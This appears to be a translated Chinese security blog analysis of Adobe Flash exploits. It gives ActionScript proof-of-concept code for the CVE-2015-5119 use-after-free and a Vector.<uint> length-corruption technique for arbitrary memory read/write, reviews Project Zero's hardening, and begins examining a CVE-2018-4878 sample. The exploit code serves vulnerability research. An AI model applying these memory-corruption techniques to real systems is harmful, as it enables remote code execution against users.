Adobe Flash 漏洞利用分析:从CVE-2015-5119 到 CVE-2018-4878(上)
丝绸之路 嘶吼专业版
据报道,上周有一个漏洞被用来传播ROKRAT恶意软件。这个事情有趣的地方是,在一个似乎很久没有出现热点的时期之后,Flash正在被APT组使用。我们不禁想知道这其中发生了些什么变化,以及这种最新的漏洞是如何工作的。
在这篇文章中,我们将介绍传统的Flash漏洞利用,并着眼于了解这个最新的示例是如何工作的并且是如何绕过Flash环境中引入的一些加固措施的。
我们先来看看在一些最新的Flash缓解中扮演着重要角色的漏洞,CVE-2015-5119(通常称为HackingTeam Flash 0day)。
CVE-2015-5119分析
早在2015年7月,Hacking Team就遭遇了一些数据泄露,其中一些内部电子邮件,应用程序源代码和漏洞被公开发布。漏洞中包含一个Exp,称为CVE-2015-5119,这是Flash 16中的一个远程代码执行漏洞。
该漏洞被归类为“ Use-After-Free ”,这意味着内存将被释放到Flash中供以后使用,而不会更新所有对象引用。我们来看看一个可以触发漏洞的快速示例:
public class VulnSimple
{
static var _ba :ByteArray;
prototype.valueOf = function() {
_ba.length = 0x1000;
}
public static function TryExpl() :Boolean {
_ba = new ByteArray();
_ba.length = 0xfa0;
_ba[0] = new VulnSimple();
// here,
_ba is pointing to free’d memory
return false;
}
}
编译这个ActionScript代码,并使用Flash版本16.0.0.287执行SWF,我们发现_ba ByteArray最终指向了free'd内存。
如果我们回顾Flash的源代码,我们可以了解是什么导致了这个缺陷。首先,我们有一个长度为0xfa0的ByteArray,我们将其分配给一个对象。如果我们查看相应的源代码,我们看到“ ByteArrayObject :: setUintProperty ”负责处理这个任务:
void ByteArrayObject::setUintProperty(uint32_t i, Atom value)
{
m_byteArray[i] = uint8_t(AvmCore::integer(value));
}
在这里我们可以看到,在我们的例子中是一个对象引用的“ value ”参数被传递给检查类型的“ AvmCore :: integer ”函数:
/*static*/ int32_t AvmCore::integer(Atom atom)
{
const int kind = atomKind(atom); if (kind == kIntptrType)
{
…
}
else if (kind == kBooleanType)
{
…
}
else
{ // TODO optimize the code below.
return (int32_t)integer_d(number(atom));
}
}
然后我们的参数被传递给“number”方法:
/*static*/ double AvmCore::number(Atom atom)
{
for (;;)
{
const int kind = atomKind(atom); … // all other cases are relatively rare switch (kind)
{
…
case kObjectType:
atom = AvmCore::atomToScriptObject(atom)->defaultValue();
break; // continue loop, effectively a tailcall
}
}
//AvmAssert(0);
// can’t get here //return 0.0;
}
在这里,我们看到我们的对象被传递给“ AvmCore :: atomToScriptObject ”,它将该值转换回了“ ScriptObject ”:
REALLY_INLINE /*static*/ ScriptObject* AvmCore::atomToScriptObject(const Atom atom)
{
AvmAssert(atomKind(atom)==kObjectType);
return (ScriptObject*)atomPtr(atom);
}
最后,调用我们的“valueOf”属性:
Atom ScriptObject::defaultValue()
{
AvmCore *core = this->core();
Toplevel* toplevel = this->toplevel();
Atom atomv_out[1];
// call this.valueOf()
// NOTE use callers versioned public to get correct valueOf Multiname tempname(core->findPublicNamespace(), core->kvalueOf); atomv_out[0] = atom();
Atom result = toplevel->callproperty(atom(), &tempname, 0, atomv_out, vtable);
…
}
在“ valueOf ”函数中,我们强制重新分配ByteArray,但Flash指针“ m_byteArray ”永远不会更新,这意味着在调用“ valueOf ”并重新分配内存后,“ m_byteArray ”变成悬挂指针。
通过Vector<uint>利用CVE-2015-5119
现在我们了解了这个漏洞,让我们来看看它是如何被利用的。
在利用Flash中的这种缺陷时,我们希望用一个对象来填充free'd内存,这将允许我们控制执行或修改内存......。输入Vector.<uint>一个矢量对象是相当简单的,做如下的初始化:
var v :Vector.<uint> = new Vector.<uint>(20);
初始化时,对象将包含以下内存布局:
[LEN] [METADATA_PTR] [uint 1] [uint 2] [uint 3] [uint X] …
可以在ActionScript中使用以下方法检索Vector.<uint>的长度:
v.length
该矢量的内容通过以下方式检索:
v[0]
现在,如果我们能够破坏“Lenght ”属性,我们发现我们有一个相当强大的R / W原语。例如,如果我们用0xFFFFFFFF填充“ Length ”属性的内存,我们可以处理任意内存。
让我们更新漏洞利用来展示这一点。
public function exploit() {
var a :Array;
var o :Object = new Object();
var ba :ByteArray = new ByteArray();
ba.length = 0xfa0;
o.valueOf = function() {
ba.length = 0x11000;
a = new Array(90);
for (var i:int; i < 90; i++) {
a[i] = new Vector.<uint>(0x3f0);
}
return 0x40;
}
ba[3] = o;
for (var i = 0; i < 90; i++) {
if (a[i].length != 0x3f0) {
AddToLog(“Modified Vector at Array Offset ” + i);
AddToLog(“Modified Vector length ” + a[i].length.toString(16));
}
}
}
在这里,我们看到采取了以下步骤:
-
一个新的ByteArray(ba)被创建并分配了一个0xfa0的长度。
-
值被分配给ByteArray的偏移量3 ,这会导致调用“ valueOf ”方法。
-
“ valueOf ”方法更改了ByteArray的大小,强制重新分配内存,但将“ ba ”指向原始分配。
-
大量的<uint>被创建为大小为0x3f0,目的是迫使之前的ByteArray内存现在指向一个Vector.<UINT>
-
返回 0x40,导致“ ba ”指针(现在指向一个 <uint>)将 “ length ”属性更新为0x40003F0。
-
通过检查任何不是原始0x3f0字节的“ length ”属性,在内存中找到损坏的<uint>。
这导致了任意读/写内存的能力,使用户能够编写shellcode并强制执行。
Google Project Zero缓解措施
在2015年7月16日发布的一篇帖子中,Google Project Zero引用了HackingTeam的漏洞,并宣布他们已经与Adobe合作推出了一些强化Flash的方法。完整的文章可以在这里找到,其中介绍了3种这样的强化方法:
-
更强的Flash堆的随机化
-
<uint>缓冲区堆分区
-
*长度验证
在这三种缓解措施中,我们看到上述缓解措施中有两种缓解方法是针对破坏Vector.<uint> 长度属性的技术。首先,向量被移动到一个单独的内存区域,与任何可能允许篡改“ 长度 ”属性的潜在溢出隔离。其次,在Vector对象中引入了一些检查,以确保如果“ length ”属性被破坏,运行时将检测到这种损坏并暂停执行。
这种长度验证方法是作为XOR键实现的。与stack-canaries类似,来自Vector对象的许多有吸引力的属性与一个键进行异或,并存储结果值,允许简单的方式检测损坏的值。
分析 TEMP.Reaper漏洞利用
缓解措施出台后,事情似乎平静下来。然后,一个新的漏洞浮出水面,CVE-2018-4878。
该漏洞的细节保持安静,与许多安全研究人员一样,我们抓取了一个恶意软件的副本,并开始对样本进行逆向工程。
获取SWF文件的副本并进行反汇编,我们发现在加载SWF时,会向C2服务器发出请求:
该响应包含一个密钥,该密钥允许解密嵌入的SWF Exp:
不幸的是,到这里,分析工作停止了。我们分析的所有样本包含了不可再访问的C2服务器,这意味着我们无法恢复100字节的XOR解密密钥来分析漏洞利用。此外,那些幸运地拥有解密密钥的人不太愿意与他人分享,这意味着我们所能做的只是等到细节披露。
缓慢的细节开始变得可用,以编辑,部分屏幕截图和关注该缺陷的博文的形式出现,但都没有出现获得R/W原语的路径。经过几个深夜的分析之后,我们已经能够重新创建漏洞并了解绕过引入的缓解措施。